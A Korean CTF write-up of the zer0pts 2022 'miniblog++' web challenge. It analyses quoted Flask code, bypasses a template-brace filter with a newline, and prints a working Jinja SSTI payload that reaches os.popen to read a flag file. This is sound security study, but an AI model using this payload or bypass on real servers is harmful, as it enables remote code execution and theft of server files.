[Study] zer0pts CTF 2022 miniblog++ Writeup
이 문제는 언인텐 풀이가 존재했다. 대회 기간에는 인텐풀이에 접근하지 못했다.. 하지만 언인텐 풀이는 똑같은 방식으로 시도했었는데 이상하게 대회 도중에 했을 때는 안됬었다..
(잘 기억나진 않지만 구문에 오타 등이 있어 제대로 되지 않았거나, 제대로 되었지만 내가 놓쳤을 수 있다.. )
언인텐 풀이지만 점수를 못땄다는것이 아쉬워서 리뷰해본다.
주어진 페이지에 접근해보자. 아래와 같이 로그인을 하면 글을 작성하는데, 글의 내용으로 일정한 템플릿이 제공되는 서비스가 구현되어 있다. 또한, 작성한 글들을 backup하여 export 및 import를 할 수 있다.
주어진 소스코드를 분석해보자.
@app.route('/', methods=['GET'])
def index():
db = get_database()
if db is None:
return flask.render_template('login.html')
else:
return flask.render_template('index.html',
template=TEMPLATE, database=db)
@app.route('/post/<title>', methods=['GET'])
def get_post(title):
db = get_database()
if db is None:
return flask.redirect('/login')
err, post = db.read(title)
if err:
return flask.abort(404, err)
return flask.render_template_string(post['content'],
title=post['title'],
author=post['author'],
date=post['date'])
우선 글 작성 시 제공되는 템플릿에서 {{var}} 형식을 사용한다는점과 메인페이지 및 글 조회 시 flask.render_template 및 flask.render_template_string 를 사용한다는 점으로 미루어보아 SSTI 공격이 의심되었다.
def add(self, title, author, content):
"""Add new blog post"""
# Validate title and content
if len(title) == 0: return 'Title is emptry', None
if len(title) > 64: return 'Title is too long', None
if len(content) == 0 : return 'HTML is empty', None
if len(content) > 1024*64: return 'HTML is too long', None
if '{%' in content:
return 'The pattern "{%" is forbidden', None
for brace in re.findall(r"{{.*?}}", content): ##### ........................ (1)
if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace):
return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None
# Save the blog post
now = datetime.datetime.now().strftime("%Y/%m/%d %H:%M:%S")
post_id = Database.to_snake(title)
data = {
'title': title,
'id': post_id,
'date': now,
'author': author,
'content': content
}
with open(f'{self.workdir}/{post_id}.json', "w") as f:
json.dump(data, f)
return None, post_id
다만, 이를 방지하기 위해 글 작성 시 (1)과 같은 필터링 과정이 적용된다. 내용은 {{var}} 과 같은 형식을 추출하여 {{, }} 안의 내용이 숫자,알파벳 그리고 _ 만 사용가능하다는 것이다. 따라서 SSTI 공격에 활용되는 구문들 사용이 불가하다.
우선 SSTI 공격 구문이 유효한지 확인해보자. 테스트 시 기본이 되는 {{config}}의 경우에 조건을 만족하므로 수행 가능 할 것이다.
정상 수행됨을 확인 했다.
처음에는 내 게시글들을 export하여 이를 해독 및 분석하여 SSTI 구문이 포함된 내용의 글인것처럼 재압축 후 import하는 방식을 시도했지만 aes 암호화 키를 찾는데 실패하고 다른 풀이 방법을 찾고 있었다.
필터링 부분을 좀 더 자세히 보니 (1) 부분에서 {{var}} 일 시 필터링을 하는데 개행을 주어
{{var
}}
와 같이 처리하면 조건문을 우회 할 수 있을 것이라 생각했다.
테스트 결과 유효했고..
아래 구문을 통해 플래그를 획득 할 수 있었다.
{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('cat /flag-wowRCEwow.txt').read()
}} // 개행했음
FLAG = zer0pts{You_obtained_a_Bachelor_of_ZIP}
인텐 풀이는 다음 글에 이어서..